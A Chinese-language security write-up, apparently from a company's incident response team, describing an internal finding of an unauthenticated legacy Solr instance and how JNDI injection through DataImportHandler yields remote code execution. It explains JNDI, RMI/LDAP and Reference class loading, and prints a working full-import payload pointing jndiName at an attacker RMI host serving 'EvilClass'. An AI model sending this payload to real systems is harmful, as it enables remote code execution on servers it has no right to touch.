记一次由Solr未授权造成的JNDI注入getshell

百家 作者:焦点安全应急响应中心 2021-04-02 20:40:38
前言

   “FSRC经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL推行、等保合规、自研工具等。

    欢迎各位安全从业者持续关注~ 


1关于Solr

    

Solr简介

  

Solr是基于Apache Lucene构建的流行,快速,开源的企业搜索平台,搜索引擎duckduckgo就使用的Solr进行检索。

它是一个Java Web App,基于已有的xml、json和http标准,提供简单的类似REST的服务, 通过输入json、xml、csv等存储数据,通过html请求返回结构化数据。


Solr与APP的集成如下:


Solr功能展示

  


Solr认证页

Solr Admin页面


Query页面



2JNDI与LDAP&RMI


LDAP&RMI

   

RMI(Remote Method Invocation,远程方法调用) 是分布式编程中的一个基本思想。Java RMI是Java的远程方法调用机制,将java对象(real Java objects)作为参数传递,并将Java对象作为返回值,实现了对远程对象的refer。


LDAP(Lightweight Directory Access Protocol ,轻型目录访问协议)是一种目录服务协议。目录服务是一个特殊的数据库,用来保存描述性的、基于属性的详细信息,以树状结构组织数据,类似易读难写的数据库。


JNDI简介

   

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是由SUN提供的标准Java命名系统接口。 


JNDI架构:



JNDI提供的两种服务:


Naming Service:绑定名称(name)与值,通过find/search操作根据名称查找对象,例如DNS,通过命名服务器提供服务。(RMI) 


Directory Service:特殊的naming service,存储和搜索目录(directory),而目录是一个类似树的分层结构库。(LDAP


所以JNDI可以理解为通过name寻找对象的Java api。


以连接数据库为例:JNDI通过在j2ee容器中配置参数,定义数据源并设定名称,然后通过数据源名称来访问数据库。


3Solr未授权&JNDI注入漏洞


Solr未授权访问

   

做内网资产盘点时发现许多后台系统的服务器有一旁站含有search字样,打开发现是Solr的远古版本并且没有配置admin ui鉴权


点进一个菜单发起query,获取数据,实测数据量上百万。

JNDI注入

   
由于发现的系统Solr版本已经非常远古,资料也不多,所以简单分析一下其调用

通过调用DataImportHandler的handleRequestBody方法,处理full-import请求重置DataImportHandler配置

通过构造请求中配置的数据源(dataSource)指定JdbcDataSource使用JNDI,接着跟踪getFromJndi方法,执行InitialContext类的lookup方法触发注入

根据Solr支持的dataSource不同类型有不同的注入手法,简单列举一下dataSource支持的类型:

  • JdbcDataSource:默认,数据库源

  • URLDataSource:通常结合XPathEntityProcessor从file://、http://、 ftp://位置获取文本数据源

  • HttpDataSource:在Solr1.4中被弃用,与URLDataSource除了名称其余一样

  • FileDataSource:从磁盘文件获取内容,使用类似URLDataSource

  • FieldReaderDataSource:处理DB字段包含xml并且需要嵌套XpathenticyProcessor来处理字段内容

  • ContentStreamDataSource:将post数据作为数据源,适用于任何数据源

本文只介绍了利用JNDI也就是数据源是JdbcDataSource的手法,其余利用

请参照 Apache Solr DataImportHandler远程代码执行漏洞(CVE-2019-0193) 


payload:


command=full-import&verbose=false&clean=false&commit=true&debug=true&core=XXXmy_coreXXX&name=dataimport&dataConfig=<dataConfig><dataSource type="JdbcDataSource"jndiName="rmi://ip:1099/EvilClass" /><document><entity name="test"></entity></document></dataConfig>


LDAP

RMI

EvilClass被加载


4注入原因分析

Why JNDI 


因为JNDI与传统通过jdbc uri连接数据库不同,在数据库变更时不必修改数据库的uri,不必修改jdbc驱动包/类,通过j2ee容器管理配置。


为什么这种封装带来了新的漏洞?这个问题源于动态协议转换与Java的Naming Reference。如:

Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://ip:port");
Context ctx = new InitialContext();ctx.lookup("rmi://ip:port/hello"); //or ctx.lookup("hello");

当lookup参数可控时,即使服务端提前配置了Context.PROVIDERURL属性,如果lookup方法的参数是uri地址,那么客户端就会去lookup()方法参数指定的uri中加载远程对象,而不是去Context.PROVIDERURL设置的地址去加载对象。这便是动态协议转换。


那为什么远程加载的对象会被执行?原因就是Reference类。


Java为了将object对象存储在Naming或者Directory服务下,提供了Naming Reference功能。通过引用Reference类绑定远程对象。当客户端在lookup()查找这个远程对象时,获取一个Reference的stub,当本地classpath不存在类时就会动态加载远程类,并调用无参构造函数。因此将恶意语句写在构造方法中,当被实例化时,类的初始化方法就会被触发。或者利用java的static代码块执行类的恶意方法。


这也是为什么注入执行在受害者处而不是攻击者起的服务端。攻击者的服务端(例如RMI服务)返回Reference,Reference包含的恶意类被加载并实例化,类中的构造方法或静态代码块被执行,最终RCE。

5免责声明


本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。


6参考资料


RMI

https://www.oreilly.com/library/view/learning-java/1565927184/ch11s04.html

LDAP

http://www.ldap.org.cn/

Solr

https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html 

LDAP&RMI server

https://github.com/mbechler/marshalsec



焦点安全,因你而变
焦点科技漏洞提交网址:https://security.focuschina.com




关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接